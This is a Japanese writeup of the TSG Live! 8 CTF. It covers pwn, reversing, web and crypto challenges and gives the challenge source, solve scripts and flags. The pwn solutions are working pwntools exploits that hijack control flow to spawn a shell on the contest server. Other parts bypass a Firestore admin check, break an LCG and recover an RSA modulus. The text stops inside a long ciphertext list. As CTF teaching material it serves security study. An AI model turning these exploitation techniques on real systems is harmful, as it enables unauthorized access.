TSG Live! 8 CTF writeup

東大の学園祭の一イベントでCTFがあり、視聴者も参加できた。

コンテスト時間は100分。さすがのTSGで、100分で解けるはずの問題とはいえちゃんと頭を使うので、短時間はつらい。

1350点で2位。優勝したかと思ったけど……

解説「最後の一瞬でkeymoonさんが逆転！」
解説「私から見ると逆転してませんけど？」
解説「管理者画面からは逆転してますが？」
解説「間に合わなかったのかな～」
解説「提出時刻も間に合っているけど……。裏方チーム確認を」
解説「最後3分はスコアボードが凍結されていました」

という一幕があった。

Pwn

bpxover (100pts)

注意：bpxoverとbpxorは関連した問題です。 配布ファイルの差分を見ることをおすすめします。

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}

いや、頭を使わない問題もあったな。Stack canaryもPIEも無効なので、スタックバッファオーバーフローで win に飛ばすだけ。まあ、これは次の問題への布石。

attack.py

from pwn import *

s = remote("chall.live.ctf.tsg.ne.jp", 30006)
elf = ELF("bpxover/chall")
context.binary = elf

s.sendline(b"x"*40+pack(elf.symbols.win))
s.interactive()

$ python3 attack.py
[+] Opening connection to chall.live.ctf.tsg.ne.jp on port 30006: Done
[*] '/mnt/d/documents/ctf/tsglive8/bpxover/bpxover/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
hello :)
$ cat flag
TSGLIVE{welcome_overflowwwwwwwwww}
$

TSGLIVE{welcome_overflowwwwwwwwww}

bpxor (200pts)

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[16];

    puts("hello :)");
    scanf("%15s", buf);
    long x = strtoll(buf, NULL, 10);
    asm ("xor %0, %%rbp\n\t"
            :
    : "r" (x));

    return 0;
}

バッファオーバーフローができなくなった。xor で rbp を減らして、 main からのreturn時に戻り先アドレスが buf[8:] を指すようにする。

attack.py

from pwn import *

elf = ELF("bpxor/chall")
context.binary = elf

s = remote("chall.live.ctf.tsg.ne.jp", 30007)
s.send(str(0x20).ljust(8, "\0").encode()+pack(elf.symbols.win)[:-1])
s.interactive()

$ python3 attack.py
[*] '/mnt/d/documents/ctf/tsglive8/bpxor/bpxor/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to chall.live.ctf.tsg.ne.jp on port 30007: Done
[*] Switching to interactive mode
hello :)
$ cat flag
TSGLIVE{xoring_rbp_easily_leads_to_shell}
$

スタックのランダム化で、 rbp の0x20のビットが立っているときは解ける。そうでなければ通らない。

TSGLIVE{xoring_rbp_easily_leads_to_shell}

spmov (300pts)

コンテスト中には解けなかった。

xorではなくいっそのことmovしてしまえばすぐ解けるんじゃないか？ え、だいぶ見た目が変わってるって？

chall.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>

void win() {
    char *argv[] = {"/bin/sh", NULL};
    asm volatile
    (
        "syscall"
        :
        : "a"(59), "D"("/bin/sh"), "S"(argv), "d"(NULL)
        : "rcx", "r11", "memory"
    );
}

void stop_a_little() {
    sleep(rand()%2);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    srand(time(NULL));

    long x;
    char buf[40] = {0};
    puts("hello");

    read(0, buf, 39);
    x = strtoll(buf, NULL, 10);
    asm ("mov %0, %%rsp\n\t"
            :
    : "r" (x));

    stop_a_little();
    read(0, buf, 39);
    printf("bye, %s", buf);

    return 0;
}

rsp に値を mov できる。

スタックを適当に差し替えればいいんじゃないの？　と思ったけど、そう甘くない。

main 関数中ではスタックの参照には rbp を使う。最後にreturnする前にも rbp を元に rsp の値を書き換える。関数の呼び出し時には rsp が使われるけど、これは戻り先アドレスを書き込んでから読み込むので、rsp を書き換えてもバグることがない。そもそも、printf はスタックを0x1000バイト超使うのに、メモリ中にアドレスが既知で書き込み可能な領域が0x1000バイトしかなく、そこに書き換えても printf の中で落ちるだけ。

win 関数がlibcの関数の呼び出しではなく、システムコールで実装されているのが大きなヒント。

GOTを書き換えさせる。rsp を rand@GOT+8 にすると、stop_a_little の呼び出し時に、 rand@GOT が stop_a_little の呼び出しの直後のアドレスになる。stop_a_little の中での rand の呼び出しが main 関数に戻ることになる。このとき、rbp は書き換えた rsp を元にした値になる。buf にあたる位置が良い感じに printf@GOT になっているので、2回目の read で win のアドレスを書き込む。

attack.py

from pwn import *
import time

elf = ELF("bpmov/chall")
context.binary = elf

s = remote("chall.live.ctf.tsg.ne.jp", 30010)
#s = remote("localhost", 8888)

s.send(str(elf.got.rand+8).ljust(39, "\0").encode())
s.send(pack(elf.symbols.win))

s.interactive()

$ python3 attack.py
[*] '/mnt/d/documents/ctf/tsglive8/spmov/bpmov/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to chall.live.ctf.tsg.ne.jp on port 30010: Done
[*] Switching to interactive mode
hello
$ cat flag
LIVECTF{Making_a_challenge_in_a_natural_way_is_so_hard_that_this_challenge_looks_really_unusual:(}
$

LIVECTF{Making_a_challenge_in_a_natural_way_is_so_hard_that_this_challenge_looks_really_unusual:(}

Rev

DNS ROPOB (400pts)

Ghidraで開いても関数の中身がほぼ空。どういうことかと思ったら、命令1個ごとに変なコードが挿入されて妨害されていた。

0000000000000837 <func>:
     837:   55                      push   rbp
     838:   9c                      pushf  
     839:   9c                      pushf  
     83a:   50                      push   rax
     83b:   48 8d 05 f5 ff ff ff    lea    rax,[rip+0xfffffffffffffff5]        # 837 <func>
     842:   48 89 05 ff 27 20 00    mov    QWORD PTR [rip+0x2027ff],rax        # 203048 <base>
     849:   48 c7 05 04 28 20 00    mov    QWORD PTR [rip+0x202804],0x0        # 203058 <gadgetnumber>
     850:   00 00 00 00 
     854:   48 c7 05 f1 27 20 00    mov    QWORD PTR [rip+0x2027f1],0x0        # 203050 <funcnumber>
     85b:   00 00 00 00 
     85f:   48 8d 05 94 ff ff ff    lea    rax,[rip+0xffffffffffffff94]        # 7fa <resolver>
     866:   48 89 44 24 10          mov    QWORD PTR [rsp+0x10],rax
     86b:   58                      pop    rax
     86c:   9d                      popf   
     86d:   c3                      ret    
     86e:   48 89 e5                mov    rbp,rsp
     871:   9c                      pushf  
     872:   9c                      pushf  
     873:   50                      push   rax
     874:   48 8d 05 bc ff ff ff    lea    rax,[rip+0xffffffffffffffbc]        # 837 <func>
     87b:   48 89 05 c6 27 20 00    mov    QWORD PTR [rip+0x2027c6],rax        # 203048 <base>
     882:   48 c7 05 cb 27 20 00    mov    QWORD PTR [rip+0x2027cb],0x1        # 203058 <gadgetnumber>
     889:   01 00 00 00 
     88d:   48 c7 05 b8 27 20 00    mov    QWORD PTR [rip+0x2027b8],0x0        # 203050 <funcnumber>
     894:   00 00 00 00 
     898:   48 8d 05 5b ff ff ff    lea    rax,[rip+0xffffffffffffff5b]        # 7fa <resolver>
     89f:   48 89 44 24 10          mov    QWORD PTR [rsp+0x10],rax
     8a4:   58                      pop    rax
     8a5:   9d                      popf   
     8a6:   c3                      ret    
     8a7:   48 83 ec 50             sub    rsp,0x50
     8ab:   9c                      pushf  
     8ac:   9c                      pushf  
 :

pushf から ret までが挿入されたコードで、このコードは実際には次のコードのように動く。

0000000000000837 <func>:
     837:   55                      push   rbp
     86e:   48 89 e5                mov    rbp,rsp
     8a7:   48 83 ec 50             sub    rsp,0x50
 :

単純に消せば良いと思うのだけど、消した後のコードもそれなりに分量があるな……。

問題のバイナリをそのままangrに投げたら解いてくれた。

solve.py

import angr

project = angr.Project("dns_ropob", auto_load_libs=False)

@project.hook(0x4022ba)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

$ python3 solve.py
WARNING | 2022-05-14 13:21:49,884 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-05-14 13:21:50,002 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x401b33 (main+0x0 in dns_ropob (0x1b33))
WARNING | 2022-05-14 13:21:50,003 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x401b33 (main+0x0 in dns_ropob (0x1b33))
FLAG SHOULD BE: b'TSGCTF{I_am_inspired_from_ROPOB}'

TSGCTF{I_am_inspired_from_ROPOB}

Web

Problem on fire (200pts)

たいへん！作問作業が炎上しちゃったよ！みんなで力を合わせてなんとかしよう！

ということで問題名が「fire」なのかと思ったけれど、Firestoreを使っているという意味も掛かっていた。Firestore分からん……。

index2.html

 :
		<script type="module">
			import {createApp} from 'https://cdn.jsdelivr.net/npm/vue@3.2.33/dist/vue.esm-browser.js';
			createApp({
				data() {
					return {
						flag: '',
					};
				},
				async mounted() {
					const auth = firebase.auth();
					const {user} = await auth.signInAnonymously();
					const token = await user.getIdToken();
					const uid = user.uid;

					const db = firebase.firestore();
					await db.collection('users').doc(uid).set({admin: false});

					try {
						const flag = await db.collection('flags').doc('flag').get();
						this.flag = flag.get('value');
					} catch (e) {
						this.flag = e.toString();
					}
				},
			}).mount('#app');
		</script>
 :

{admin: false} を {admin: true} に書き換えたコードを動かせば良さそうだけど、 await があって開発者ツールにそのまま貼り付けても何かダメ。Firestoreは分からないけど、JavaScriptも分からない。

そういえば、Google Chromeの開発者ツールにはファイルを差し替える機能があった。

ここで有効にして、ネットワークのファイルから「オーバーライドするために保存」すると書き換えられるようになる。あとはリロードするだけ。

TSGLIVE{git_fire_is_also_useful_when_the_project_is_on_fire}

Crypto

Roulette (150pts)

main.py

import numpy as np
from flag import flag

class RNG:
    def __init__(self):
        self.p = np.random.randint(2**32)
        self.q = np.random.randint(2**32)
        self.r = np.random.randint(2**32)
        self.x = np.random.randint(2**32)
    def next(self):
        self.x = (self.p * self.x + self.q) % self.r
        return self.x

money = 5
rng = RNG()
print("GAME OF ROULETTE")
print("Obtain 1 million money to earn a secret flag!")
for round in range(7):
    print("--------------------")
    print("Round {}".format(round+1))
    print("You have {} money.".format(money))
    a = int(input("How much will you bet?\n> "))
    assert 1 <= a <= money
    n = int(input("What number will you bet on?\n> "))
    assert 0 <= n <= 36
    m = rng.next() % 37
    print("Your guess: {} Result: {}".format(n, m))
    if n == m:
        print("You win {} money!".format(a*36))
        money += a*36
    else:
        print("You lose {} money.".format(a))
        money -= a
    if money <= 0:
        print("You are broke.")
        break
    if money >= 1000000:
        print("Good job! Here is your flag: {}".format(flag))
        break
print("GAME OVER")

金額と掛ける値を決めて、当たれば37倍、外れれば金が取られる。チャンスは7回。

乱数推測。7回で32ビット変数が4個は無理だろうと一見思うが、 r が37の倍数ならば、r は無視でき、他の3個の値はmod 37で考えれば良くなる。

最初の3回は1円払って答えを得、残りの4回で2円を37倍ずつにしていく。

attack.py

from pwn import *

context.log_level = "debug"

s = remote("chall.live.ctf.tsg.ne.jp", 61234)
#s = process("python3 main.py", shell=True)

X = [0]*7
for i in range(3):
  s.sendlineafter(b"> ", b"1")
  s.sendlineafter(b"> ", b"0")

  s.recvuntil(b"Result: ")
  x = int(s.recvline()[:-1].decode())
  X[i] = x

"""
X[0] = p*x+q
X[1] = p*X[0]+q
X[2] = p*X[1]+q

X[2]-X[1] = p(X[1]-X[0])
"""

p = (X[2]-X[1])*pow(X[1]-X[0], -1, 37)%37
q = (X[2]-p*X[1])%37

m = 2
for i in range(3, 7):
  X[i] = (p*X[i-1]+q)%37
  s.sendlineafter(b"> ", str(m).encode())
  s.sendlineafter(b"> ", str(X[i]).encode())
  m *= 37

s.recvuntil(b"GAME OVER")

TSGLIVE{LCG5_4r3_w34k_1n_63n3r4l_bu7_15_3v3n_w34k3r_wh3n_r3m41nd3r5_4r3_u53d}

Forgetful RSA (200pts)

時間が無くて解けなかった。

main.py

from Crypto.Util.number import getPrime, bytes_to_long

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) - (q - 1)
e = 0x101
d = pow(e, -1, phi)

with open('flag.txt', 'rb') as f:
    flag = bytes_to_long(f.read())

c = []
for i in range(flag.bit_length() + 1):
    c.append(pow(flag >> i, e, N))

print(f'c = {c}')

phi って (p - 1) * (q - 1) じゃないのか？　使ってないからどうでも良いか。

t = flag>>i が分かっているならば、 pow(t<<1, e, N) と pow(t<<1|1, e, N) を求め、 c[i-1] と一致したほうが flag>>(i-1) である。こうやって上位のビットから順番に決めていけそう。N が既知なら。

おっと、公開鍵をメモっとくのを忘れてた！

はい……。

x%N = y ならば、k を整数として x-y = k*N が成り立つ。フラグの先頭が 'T' であることから、k が異なる k*N が複数手に入る。最大公約数を求めると N が得られる。

solve.py

c = [19661487556550173493222456303072249341128453473916777331601345886246260652672968856337899787318668971952757647302217421772241409687795270927563918837382385552171026687263046224651645163713025012640427349067255170649334161813431643452731116450224128521046939950596124929737426726946632117485058945846215672223, 24220404081896610633277469417205140322382224442431077123020794421691596062692635322323543128953400149095301549476903842494275594384117575011718682419172618321743925099045859899620669668344043395324430107211824351943367008843247741404264797624145441772738078613575341050070951582713006379516500669603348424068, 47918339735847879966704156321099202695506572197393062741507814728767611922902397641009114891750273611543116902292117238895244480365144598831289493008415064709505546793882443834467488991066215258336709095914487316776951667529831964026707759342606229450053800750209417045774866016265152897857115924085743313651, 73430362251177669075193170988634192010863262309925446569816275194311969486247459871529737834701353701629740556838220682772999394074643542781688310939160759141428641278204340228543386227171993410951554478235682223090151239556330774638443587293792138750939819106515024461722104049234259467521437489162296976267, 30852713487143729077094969987038178531797533190449619731345838839480267292714053095572259558090397564023548048402653951906046007210426726616507214654637093092413066048626498931240725689501255351063515767376578426849706811941332683916106921520501159382521155454809509822454878750871618784980215902459822223031, 62720748964609459931548899836834758191052690593081372972484015919531763195958861857779977909763018374153423313939973738147524684458988546689801683210783875272779781688303007376750761727189138282314832284588354228552865611451068094150966573613139230846935849553608020631424005000807162495514821609174358699645, 106422453120065849972817757278129495798316176685215656175409960526675950927670374067933474583462509427908081963970171262042978316986008660337748009347187190091074937167212386295414429548706817352660302003605300266135316217400697296537334199953175055381006234811546595484289549257820624713029319410226534307740, 76395087119100287386682365266165031632421108108774814103231626307085863726908440297032399073358565509304624882922801739346167386667161918000106834696538335657556066560630716472011907571306845043646343024574219046744078755628898102508382840452921152786991377786557584075187502948193327573311139909525924981019, 86724455314291485637357016364535821807857059834219760832195572213322630809175937189704630537246612548357564851625731882023773272425578723920050206112599134330857880781823522813019663980259603179518026472734466282399986316375718540220472753601372594857589103765644424023472839374292535806662591317338267571622, 93671119840634123758526314370230027286588920946201937462853462602320656161774001543890373068688878353704658584960848852797965388130639593138829021278241452107780249643471754876976866777448403620932805788368863317825624789552995746003316174034845706645610646073728286424954947800087330001215619318019048431986, 106387946533393150008800148037693296361911932979682450488340414628182138886024772683175840535703419316582858865826836331829623035442930609481464416430929083812070286243279260141210203520635133500114528580474351561990016275653714389821169906363306016706282837596887661555095036995982600745581831957168433949702, 19935408380592135239926924883154631106471448852251217928513340810605825193490263519671776355931512291828601257123393647739392147198480876765089483097288635901420861866623413486828505404449484407911930560369162781650369353579747130376736269421944989653723591313806044844290659653608072625796383286582365451080, 124648690734998012835946124063554106640924552043529430627451925522514987720970813857109135877765861706541193043553703857031655911297844779377126547762187541215554557170403923847271440634952602447172049087969795758248184273596728201376174468590377907412679231083300951379660620647507305412441813597631379942021, 91490957928122064091492295744197374857145499711470642497977977031243991605317580426997238948894087580616748447553559197197482827548611771166382581531784604473721339849709854743425114966276040644017883248362280234860844808130075547571656669990025850682953512357114681417900953529894434253435408951734606399570, 74622730091206626752733296700755155065731534718075147741161812189168192088440048325916314921107383672972563567315963406415554412753222889644040014359411325770282970195702202034190917753460137942681018286100312876463201421852225639054528656190247479808627347975935992065383315487326954126901256649217723003768, 126564671994092077145295522995361264854099784431573339515985064804513073650568563987551019402485724888134661302802341066824583944548661310426434015922808853121087302003104963574591472077257496451415824547652448124311044663889082487233846984111864230582055257168041356508524176767005422826987464405970571752152, 52718830348117577730468882135927841461492007369852024412073503498742086782931198513301181029191628132112868724394906257913576990243759248835456199494591749254606386218621234299086747729440997947621272589336916343951202964895579747023282400833681197696117169716689418795852906235539601350668852831752639241382, 43252771067604330427533824170693546396843727928859385887713768908178763659431623494739254526219637492736345358468340199609293810702869104157016059993156659318244770335276567211412467203552344000325809235958709961554087716576241585108544588405717348786739705852211834171646155083241485051720629367257751887826, 126355927698347773242380489715829841392843612434495677074033233283320055611286797971275648791875563725423609676750545217389035242007106840619144560411417148487562325661019919768013497621904062047056117512811722420652673161146181336362464012512293279606251998285129118557150404411126312427424714579467716227484, 89352564734972714904034610522090486685658887808762038443295356792418778696074370066602372664432440732202302924787661084255606685473960355300861148500794943600064675920363343210297538262519207907917451863850033678033023965147962058704887814515780872027828717435866575619629521496946046001372609414627803877524, 50275253304809988549199215606950311944786822905046328071308248755426105541609220586734765708892734374141510701406628041613733831479806868055446499571894285943560958939830126811627071393641545840437262408045484724325617062899276726666712797886477795394023551584514785501615566316563509554671418416241375547972, 72662515996280121157004066516542534668676859826827025453337113009538371568385496685934387354608790527064842267750663329458409467625364262495483266069522783665493196817471684003439354761968756178546857838919154528618721459264173129649485014377065434039864654385400653499184563704636532119742307406528880315236, 121082905931071092868380987541391525241926434654215871046242270208650486605991763259937900707717161558279693560356447529176719096124910414136598625088907987148826536604455245873394551865415164219928278262837152766397103662931601754805710035946487974387865101860535184010663393581173799330235625208999620090664, 64378030494576612110032975412855993178781818362126633647062374280635045707414283501354450968385053330736756619605640673610651502657713172638686323062620891556838856944227567167491657174765851411137490789091504804474791387915456421458155459395139201136562200756298225505821481862231015419473724456024240362627, 15097260828356577454841857430164635625892587368705642355727116015705028790108455607715583675949530890975734672958342469862481073501588774324152831145678170233180872835692696177235003656156358575530861080499858858058763196240726087025269984966680109803509725159591569485810650783735159665636154058656540004564, 17529003105915567994366130893180131584687728225165962522201118582275947714694763127927443753643128640716019317392596820203842199083869326412098263488706103698146279310157991351271157631531577590696495728226931695727131508796392798960388143455522514033991018266699318383065351003063501407082639168857813384570, 39274477614796502851339370015316710472329210655731952246800288956768454126759923268028842519877460681376317788678933578869984073511670379363811475406011466211020489854699102818752268863853739008584894837225292925208133126637236957603064144982527104995422200052722601834078887299182339110364551753809338530586, 16452903250859291228065903152155713156982213446103838409708684445449988865652604955621744131729160488390666935893151617027500700728430228923281632732480303218534782848907586721362033823514090676523787689462844071038811015475327922146253071219067778954133897614188947743524288100536234021693741922026035857156, 81465329352251354235358078203291632312999180607997080540321255369480289069286865479783163271050917329376509423372976616046138447564065130596979500617433872526224384487253344477757445832332454180190810939818125428136458838525328561276948539370422568460912993785411041564184555151294061808577354782641260518427, 140453704483143128921457461952408859795887712477810602159556516733137449003613452616750491706883674295061448749502012672294108157942298272872060344983414056438398640095513379976149106898912912408793229621691017461813159125046773545117490828755501181298343953869081867648124684661428857851710104353602145218805, 130551507906058559964523574560666731020773337223305705912376926974504004879008745305196746574274845580484362002653465754302377170124062155950811207817067402575611766638230548447482459506991496330649468378612805257485626979809268742161465940571754078559300718011093148582364706705982233645710959002480814796750, 57876878556426195940620664086545524155509956076507619643639481373833439615109557996966492727758540800415329145855754949993317758763938763617389081111981513957495559422928073090442363963075886151487840169607647783116105918026628385147960693559640166902157158314149206066246735843916905952470608021679798037011, 127436077400482281058742238773194616488860662917514026199504275504025379314233562163751780895251888166509408749408062977215785112908979254469693830579710971432857823301956619391564617237848849086839648068570749208637406737480610910950409332006809380194429272171918288781037081232905429643926305786189054722891, 141554355645575801621405727667055509910341524543111372167780753546180557156691729677359155031723127261059578471786305391337263096362499806682707449616860443609783869571007767657376582726307443182252347743557114883822820957951552634351560637767196295337414634995270714689160598413364677103707234034405725946866, 57517788706218615166498331923107713993945206271015890729563146895491204222999970170178884382746316298184733699293431540476928597644703381881066914049460196738332357697421181153993259372168996861248078460867142322803363330907155522112573284894355531046387949313533135440332802134024255492120241838471910256920, 69167683065846202894634300064884248557771155955329485823885125311655170647818297144292211445554927119287512920935099260813550233863546804989629963795544377633210731306349848990050957780749596892486542494730550203418577513831971719249101313841488354548911744905267074858699200255186459369949195480708839757108, 133892879641814036204061240346702077306290292313989840447919030054492426833396925971491964970364619693166635337525269829332234547961114897006005819358715704934158510236862027976472376159411222939664210988514415580277844857515266486919949640396585233606438154140816996711692401445798375053427651276809365514021, 41347313020420827116799417308682064731430772055520769031227466838553855820290967376713181466621230544389853459073539041175475205251644274785803787537539929578797084846538324630401198546011790341080333141846677484183878148903569463329665199500702491492564470624488794769260778170002909351226685499136220174965, 94563155213822514121213411248974662532380586109058490282104378855167754707900625852041220282546763979874489348735624849364418408727986056283491700117149310291442180547273591619732717336341867065866799239100235874491091981592536474704881739584373483431445278274621778313970012102201915951311050308678803467019, 85770132074170457064687268319910939692921084091429792836118383290246036714124181163468113578687620897488941024404734894698271365090947846366256928168866663939339152518637841130721837847648893458785763138035140086947971694886628336418553231107606063772433230310400591749764364740222615300865479272147849698758, 59812393372565241712581094113009386490460815786105587801326295196691491661522825743336152889384902298669861485263729970780609829611790905104392954821626514282263360463113850719826704034437983735034251554162802554999204180597521439744884127065360620282758799287109075075712331124675473845444334562559126214700, 101799766493039529381501423090806136901899073939551553572485954456968610762090355985436261942373749617652379849516349812928382756765210534142915021323334242229010406602203537597932652973295579818583726506648735353822119589272374686410068802443677657284111178896330280668730673049853044624769091051364644589524, 129353898741833158893556450399219957381820063124206278216797788250603373735755064766574953645860050328665882570378646298940024419484418579585804200486465884587990406578719444009299850930834998278049654286546261574102986220189057322677951548339351133019799701538487291035856032030801227166003889554120880355028, 20459320229535540725855343339475951064284070513734339143519249111993036293291955307205609210097161262795030409816703909165109932762699469329475270427123934858661393708455851831902598723193744490513584208235060585191683650350063274442987589640222396700807422331342602744137965093749908881575423627899670123491, 135550073795396037381240874301533072371014460737346091542028739821585940500927569359871189840692387023564151810336476648183304801558716048978383577331670354350447575153420889598755330150984399256808955132177837061957298069643485008447575446941729094499638551817387039529690782226044928834442176874366753263737, 17859653773848799545580252692651841469123773179791421274336583839790293379883552547019887202536158736813162920660299493936920897539596317396638155222510915654406072595691982345495956644117573812097235840604750692290034162236393623431350672482504645798870438183634227383623594785329644822645789173717867810944, 54621848813382988368705917881297584279604437152222538546455357327922238158270492384646095161836344922949425655172705702095464948574212334415550546350044391134282782395432933691403449787537889909227987430056900145812842554996933160708756779814877476383175357122236082552989678838148966908575463809029620926830, 62187548763983759354727565297769563263030907042491330192394951599994289330026299709046834850896066695455086881325211633354366518582083283986225739026339535726716477734941635813871879317709435988003158830910747941559485791336094811884490048252090771321574901074205806488164190943393623253504506809389207520622, 105922376966788147942429509597595470532361645682384781781284553592531317394567449208219970875444660871299943089350231210501950556079029835783265522674241779826990155126080210899516210471484249132972762623299547484751557706295522966087423946917793822453046405421973061485097419204936147044106207445201723337277, 22381267787799453852817622180256572746681929656088185762798726409108991800585795528764835585428998972769047291307438407504457854047226065256597978413309421568177096899223729266078939439561103157267125174697925780135437055086019639297931032795443032862871152797335301012248449823159807938167449247013662591937, 14385239972331930738753934710136603121548359937610048106712655365418062894559571790665205542402403920544753410077136002401911377816548739004420137672018751549022908990925610148329723277175385023601585917995818327389730920027527390852122467680088693276743072620515229701614525322696620504467717006663247304016, 487564457082588907987506695275076396793937320289045014570773853460358396163412942311443147292357371980502731019568936696345888329780495246222833389634930483022303870711488205381420021814661758489111545117224531933128358582984009891371148298718785522666222451675662463824726955997099048675482329449431402408, 58533575355680919852093074321262905143120886204531774871183494926479324986499024930240553673038868425824820607668155393732421525059702780617115093572809743104908208793063442455833904254466534732752995560184350223004522542276017661238749703495062260840678497063663305591874074249988550940714768100329666025238, 50476492251138200999681390644816807518711536258218930340355711955708566844705961478440594976717018437073447095923028051307388669462485217948413595389259080189999579331587717407607749655069703266018190450751575976943562994262927450274047393680456810908174610876931273270058906803071720367014546743609187241714, 31561483069718154968522577717947952813563914284416834546353106705445310412580465632866362383368906210896963052349568991838785597309502901436565262727396945082068206693602689416540457104750685684436182740131657223465102511499000215353018102147892306920527643478485301652856799766623782730491490033728688525661, 48256136554207758820434229131424878133754969411564060911483976838534922709948192359251258395728403299700759355225011565649506133299085685033341084618713228037633643423403263467039626843159993272278520652699835998885336137927230846807337128929140017813993238817817293388096386628237222755046267484814664832764, 19895290762646267386887973126286106553376356724686844129241863690364843133297837454212181469087062466863336142685982171585605900709991563143570024010750892900738433420791806475539316283958769870392831920756708241238443632409422253923546620971624491753102336662388670287712981982613231105653538076656712290775, 19366327271830596360596078263481304352482339222942016969716779095789178567003905030123082119152851658009045113823224195850692671206252861471954424188655466895702697701266944003975311621262996677648032607837731935633888721211952206376760073419032190147743128362813037127073164398030827770755503192698130895916, 28930071839898004393507838672699828119371661476470639906063268929734060490700119734397530401045562883990352698007648161020219494784631239402669043015547720366063570440736538302339062533993801415207586744722515454348994360059662893953420523905740006582635401563075979947872654348049353383836336882585223340149, 80358467293637198943100012817908788138994993149538746536619975797912541190752311929801072827913368445521579287283585691437299603033852565153200131453225001077504996151635691156125648989578381119073541663733017103342836078497442777735414047261706281200455544892471157337365413167796149717540318445251215060504, 99157886981865719005701447243379522511871897380601847742165598908052732569922844344617084379255517565969327552859658076137378395666075374907081681284262125559913146531385475993387901939494889058475061343310595687910267568131604560067383796855473567862450675758108016649157813037248434405376180320705433025725, 109686704795998392430127657975570020557820586454279000111163311436349111743482874520182954932990595231127459830419732975784522797068469579057232957069908965944909379913922917803732410389701697619016818269511353377361513064753289301249689339414942957619993944915120383587807394919081673255360648423941370129081, 49182541429657077647800894881498098132804076466302743866914693564380715441650724906217342089361265251486993773135993172125269673411878340268017715854525855251037388964627971130879529185289854073495455733874860052365969056977598529771975421423078364723471860513443030322997802391621049185777640612792577922654, 16376520707320301401398446589966177465717830276017592501040199053254049516823737682588793371183078500187190038924564647695263246215994542977394458334230077413781129984074047144686739607507552111295833351304351880278818321217096932579047988151308789842830387407257511266155338206647869523485375528348938327419, 16325123992576854795934104810997209904465451247621634470570726400186618719663721192640810806979127886233167922661212470988193783569326637704503841752144170267875148622942379005717569923185334616549906410315425660220014449116363267571075116756722525644871842671768408669417095524792061071740940180012189479163, 137712525225300191172303589356715177973714326915166014209953718110795228768342871280840266231577348124893366831630109875656279459710287608182671154858863883700286347717360981690280088696557413352353106862073960704178508255658738101189096115068798883272906808281941059852305733002499986474198913616167433607470, 18169755890287635709152823177969303029612582630151418783189400589076399720433601681251697315519260801650498340680435121481006968452992080954338028416946760820836114788437588509044111066286948646509040362097922551984809958837898852585154607072212346289349093467719408840658624764085994677580600355606221629952, 123079231674219324788292837859673097019487265019247439167694973537569419888840821944209127194590647483121036595423284230595385134768799808303890802037159662406544497286562018458788918508138739489285655573079482339272881330261679065596037816836164439619499823375032237319623311997982605693002540925015004313743, 128491208778960603276079550451870290030161700018475494909838441963267858745424534920355593643031623503591882117112297401476013781889855091473275317730921677726687208958108587568555423045354004576286469160488233961837573856831616882733895769017147038609007894522489095473907680093930257318116239397964972748654, 12497348258478012279260218281445139849595978050888924430363774364058896861892512878022437826684910464099190854192953387966183975382331682125371479114369267220247292885406835430217619259911564567363005251641707686357877168148547448822714091302918464338622715835211091358735438927821611662643205376232218591198, 93952156742027586950087163065635999106203975402312775923959229528040036186715194536118136792610646861816484792343023864905395494765711569324820913120629019959243339481625732307748900598086356620872148185799839802369438692519710359596629805885157616254362754605952884016713162364717267610458106433559730408888, 81916260415552744788495045447856699053217272899188146608178182271349644502903299859780689559514333115753729692973275595864268406232233693573297341732246628156550933233044071007781146983785114397621005675714439924291146354331426324610567070519523246271720439014835072726273410334976579085066466755861405643513, 111582043165908500332496849784018247036467481772134380312064464102818452470135415181206088821974177260378521318896653700805135048639713305346478480990192492142034951504612599105608982310256036434350630954057314595690840223756702371407091326945722461919155389239226661105070521417700799946212325871385844944945, 34466037649840975650329097587454251903579154064813445876036849196211904946531819259868899679131683180226048525641240720320576273533176713781134478910892384095371157722543923511804209545166679241199276761175455021201395437626770746313452547203496631344699708729937919277891320969584642525182473979990633763786, 